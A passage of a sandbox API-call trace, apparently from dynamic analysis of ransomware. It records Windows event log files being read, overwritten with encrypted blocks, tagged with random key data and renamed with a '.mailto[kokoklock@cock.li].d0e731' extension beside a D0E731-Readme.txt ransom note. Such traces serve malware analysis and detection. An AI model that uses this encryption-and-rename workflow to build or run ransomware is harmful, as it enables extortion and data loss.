hFile=0x4a0, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x726fd18, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x726fd18*=0x20, lpOverlapped=0x0) returned 1 [0164.870] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x726fd18, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x726fd18*=0x4, lpOverlapped=0x0) returned 1 [0164.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0164.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.871] CloseHandle (hObject=0x4a0) returned 1 [0164.871] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f6ab60 [0164.871] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.871] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.871] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.872] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.872] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.872] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.872] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.872] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.872] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.872] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.872] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f983e0) returned 1 [0164.872] RtlExitUserThread (Status=0x1) Thread: id = 1542 os_tid = 0xef4 [0164.873] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.874] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.874] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x72ef9f8 | out: lpFileSize=0x72ef9f8*=69824) returned 1 [0164.874] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.874] ReadFile (in: hFile=0x4a0, lpBuffer=0x72ef9cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x72ef9c8, lpOverlapped=0x0 | out: lpBuffer=0x72ef9cc*, lpNumberOfBytesRead=0x72ef9c8*=0x4, lpOverlapped=0x0) returned 1 [0164.875] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0164.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.875] NtQuerySystemTime (in: CurrentTime=0x72ef9a4 | out: CurrentTime=0x72ef9a4*=132121213221934383) returned 0x0 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xfe13513a [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x653c9252 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xcd313071 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x15cc2e [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x4ce680ea [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x2690b007 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xafa387cb [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x41f74494 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xeeb4c072 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x99e7ac36 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xdfe8ac55 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xbb69d315 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xe81b4f9e [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x1549decd [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xe1d593f9 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xda9394a1 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xe896a7e4 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x27a34482 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x6eca2ab7 [0164.875] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xc9527bdb [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xe9aff08c [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x3ee00a4d [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xc34cd617 [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xcb0e0a72 [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xf944c74f [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xab27c453 [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xa6faf47a [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xb53df9b0 [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xa009ef08 [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x52a5217d [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0x7d8b24f2 [0164.876] RtlRandom (in: Seed=0x72ef9b0 | out: Seed=0x72ef9b0) returned 0xab0c9e52 [0164.884] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0164.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0164.886] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.886] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.886] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.886] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.886] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x72ef97c, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x72ef97c*=0x4096, lpOverlapped=0x0) returned 1 [0164.888] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.888] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0164.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab320) returned 1 [0164.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.888] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.888] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x72ef97c, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x72ef97c*=0x4096, lpOverlapped=0x0) returned 1 [0164.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.889] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.889] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x72ef9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fab7a8*, lpNumberOfBytesWritten=0x72ef9b4*=0x20, lpOverlapped=0x0) returned 1 [0164.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.889] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.889] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x72ef9c8, lpOverlapped=0x0 | out: lpBuffer=0x2fab2f8*, lpNumberOfBytesWritten=0x72ef9c8*=0x8, lpOverlapped=0x0) returned 1 [0164.889] WriteFile (in: hFile=0x4a0, lpBuffer=0x72ef9e0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x72ef9c8, lpOverlapped=0x0 | out: lpBuffer=0x72ef9e0*, lpNumberOfBytesWritten=0x72ef9c8*=0x4, lpOverlapped=0x0) returned 1 [0164.889] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x72ef9c8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x72ef9c8*=0x4, lpOverlapped=0x0) returned 1 [0164.890] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x72ef9c8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x72ef9c8*=0x6c, lpOverlapped=0x0) returned 1 [0164.890] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x72ef9c8, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0x72ef9c8*=0x20, lpOverlapped=0x0) returned 1 [0164.890] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x72ef9c8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x72ef9c8*=0x4, lpOverlapped=0x0) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0164.890] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0164.890] CloseHandle (hObject=0x4a0) returned 1 [0164.890] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfc) returned 0x2f6ab60 [0164.890] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.890] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.890] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.891] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.891] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.891] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.891] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.891] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.891] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.891] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.892] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.892] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f984a8) returned 1 [0164.892] RtlExitUserThread (Status=0x1) Thread: id = 1543 os_tid = 0xef8 [0164.893] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.893] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.894] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.894] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x736f894 | out: lpFileSize=0x736f894*=69824) returned 1 [0164.894] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.894] ReadFile (in: hFile=0x4a0, lpBuffer=0x736f868, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x736f864, lpOverlapped=0x0 | out: lpBuffer=0x736f868*, lpNumberOfBytesRead=0x736f864*=0x4, lpOverlapped=0x0) returned 1 [0164.895] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0164.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab258 [0164.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab4d8 [0164.895] NtQuerySystemTime (in: CurrentTime=0x736f840 | out: CurrentTime=0x736f840*=132121213222090583) returned 0x0 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xc9346354 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x79b07fd6 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xc924edfe [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xd25a2f7b [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xcb96e884 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xacf28d44 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xf7eedcfd [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xb94baf6c [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x3116cc7d [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xe22082ee [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x24c247b2 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xf366dd04 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xcdcef68 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x822c33e0 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xab5ab59 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xdd299e9 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xf7a16f42 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xe76350de [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x8346a3cf [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xae47529d [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x449fcb52 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x1624d544 [0164.895] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xcb7ba70f [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xa94736ae [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xcf9daa5b [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xd2708a1e [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xff818557 [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x99e15194 [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x8a6cdd71 [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xbe77f5c5 [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0xc2c01eb7 [0164.896] RtlRandom (in: Seed=0x736f84c | out: Seed=0x736f84c) returned 0x80632824 [0164.904] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0164.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0164.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0164.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0164.906] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6e0) returned 1 [0164.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.906] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.906] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x736f818, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x736f818*=0x4096, lpOverlapped=0x0) returned 1 [0164.907] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0164.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0164.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0164.907] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0164.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.908] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0164.908] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0164.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab320) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0164.908] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x736f818, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x736f818*=0x4096, lpOverlapped=0x0) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.908] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.908] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x736f850, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x736f850*=0x20, lpOverlapped=0x0) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0164.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.908] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x736f864, lpOverlapped=0x0 | out: lpBuffer=0x2fab2f8*, lpNumberOfBytesWritten=0x736f864*=0x8, lpOverlapped=0x0) returned 1 [0164.908] WriteFile (in: hFile=0x4a0, lpBuffer=0x736f87c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x736f864, lpOverlapped=0x0 | out: lpBuffer=0x736f87c*, lpNumberOfBytesWritten=0x736f864*=0x4, lpOverlapped=0x0) returned 1 [0164.908] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x736f864, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x736f864*=0x4, lpOverlapped=0x0) returned 1 [0164.909] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x736f864, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x736f864*=0x6c, lpOverlapped=0x0) returned 1 [0164.909] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x736f864, lpOverlapped=0x0 | out: lpBuffer=0x2fab258*, lpNumberOfBytesWritten=0x736f864*=0x20, lpOverlapped=0x0) returned 1 [0164.909] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x736f864, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x736f864*=0x4, lpOverlapped=0x0) returned 1 [0164.909] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab258) returned 1 [0164.909] 